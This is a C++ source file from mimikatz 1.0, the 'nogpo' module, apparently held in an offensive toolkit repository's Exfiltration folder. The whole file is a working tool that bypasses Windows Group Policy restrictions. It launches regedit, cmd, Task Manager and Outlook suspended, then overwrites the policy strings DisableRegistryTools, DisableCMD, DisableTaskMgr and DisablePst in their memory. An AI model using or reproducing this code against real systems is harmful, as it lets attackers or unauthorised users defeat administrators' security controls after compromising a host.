aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp
blob: bfc18f1110d9b8ee21a2fa020a13df94c9a7a314 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mod_mimikatz_nogpo.h"
#include "..\global.h"

vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
{
	vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
	monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit,	L"regedit",	L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
	monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd,		L"cmd",		L"Lance une invite de commande, ignorant DisableCMD"));
	monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr,	L"taskmgr",	L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
	monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst,	L"olpst",	L"Lance Outlook, ignorant DisablePst"));
	return monVector;
}

bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
{
	(*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
	return true;
}

bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
{
	(*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
	return true;
}

bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
{
	(*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
	return true;
}

bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
{
	char szDisable[] = "DisablePst";
	char szKiwi[] = "KiwiAndPst";
	
	wstring pathToOutlook;

	if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
	{
		DWORD pidOutlook = 0;
		bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
		
		(*outputStream) << L"Outlook avec PST   : " << (reussite ? L"OK" : L"KO");
		if(reussite)
		{
			mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
		}
	} else (*outputStream) << L"Outlook introuvable" << endl;
	return true;
}

bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
{
	bool reussite = false;

	DWORD regError;

	wstring pathToApplication = L"Software\\Classes\\";
	pathToApplication.append(application);
	pathToApplication.append(L"\\CLSID");

	HKEY hApplication;

	regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
	if(regError == ERROR_SUCCESS)
	{
		DWORD ApplicationType = 0;
		DWORD ApplicationSize = 0;
		LPBYTE monGUID = NULL;

		regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
		if(regError == ERROR_SUCCESS)
		{
			if(ApplicationType == REG_SZ)
			{
				monGUID = new BYTE[ApplicationSize];

				regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
				if(regError == ERROR_SUCCESS)
				{
					wstring regPathToPath = 
#ifdef _M_X64
						L"Software\\Wow6432Node\\Classes\\CLSID\\";
#elif defined _M_IX86
						L"Software\\Classes\\CLSID\\";
#endif
					regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
					regPathToPath.append(L"\\LocalServer32");

					HKEY hApplicationPath;

					regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
					if(regError == ERROR_SUCCESS)
					{
						DWORD ApplicationPathType = 0;
						DWORD ApplicationPathSize = 0;
						LPBYTE monPath = NULL;

						regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
						if(regError == ERROR_SUCCESS)
						{
							if(ApplicationPathType == REG_SZ)
							{
								monPath = new BYTE[ApplicationPathSize];

								regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
								if(reussite = (regError == ERROR_SUCCESS))
								{
									path->assign(reinterpret_cast<wchar_t *>(monPath));
								} else (*outputStream) << "RegQueryValueEx \'" << monPath <<  "\' : " << mod_system::getWinError(false, regError) << endl;
								delete[] monPath;
							} else (*outputStream) << "Le type retourné par \'" << monPath <<  "\' n\'est pas : REG_SZ" << endl;
						} else (*outputStream) << "RegQueryValueEx \'" << monPath <<  "\' : " << mod_system::getWinError(false, regError) << endl;
						RegCloseKey(hApplicationPath);
					} else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath <<  "\' : " << mod_system::getWinError(false, regError) << endl;
				} else (*outputStream) << "RegQueryValueEx \'" << monGUID <<  "\' : " << mod_system::getWinError(false, regError) << endl;
				delete[] monGUID;
			} else (*outputStream) << "Le type retourné par \'" << monGUID <<  "\' n\'est pas : REG_SZ" << endl;
		} else (*outputStream) << "RegQueryValueEx \'" << monGUID <<  "\' : " << mod_system::getWinError(false, regError) << endl;
		RegCloseKey(hApplication);
	} else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication <<  "\' : " << mod_system::getWinError(false, regError) << endl;

	return reussite;
}


bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
{
	bool reussite = false;

	PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
	if(mod_process::start(&commandLine, mesInfos, true))
	{
		PEB * monPeb = new PEB();
		if(mod_process::getPeb(monPeb, mesInfos->hProcess))
		{
			PBYTE patternAddr = NULL;
			// Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
			if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
			{
				if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
				{
					(*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
				}
			}
			else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
		}
		else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl;

		delete monPeb;

		if(!(ResumeThread(mesInfos->hThread) != -1))
			(*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl;

		if(monPID)
		{
			*monPID = mesInfos->dwProcessId;
		}

		WaitForInputIdle(mesInfos->hProcess, INFINITE);

		CloseHandle(mesInfos->hThread);
		CloseHandle(mesInfos->hProcess);
	}
	else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl;

	delete mesInfos;

	return reussite;
}

bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
{
	bool reussite = false;

	if(origKey.size() == kiwiKey.size())
	{
		SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
		PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
		const void * maCleFinale = kiwiKey.c_str();

		reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
	}
	else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;

	return reussite;
}

bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
{
	bool reussite = false;

	if(origKey.size() == kiwiKey.size())
	{
		SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
		PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
		const void * maCleFinale = kiwiKey.c_str();

		reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
	}
	else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;

	return reussite;
}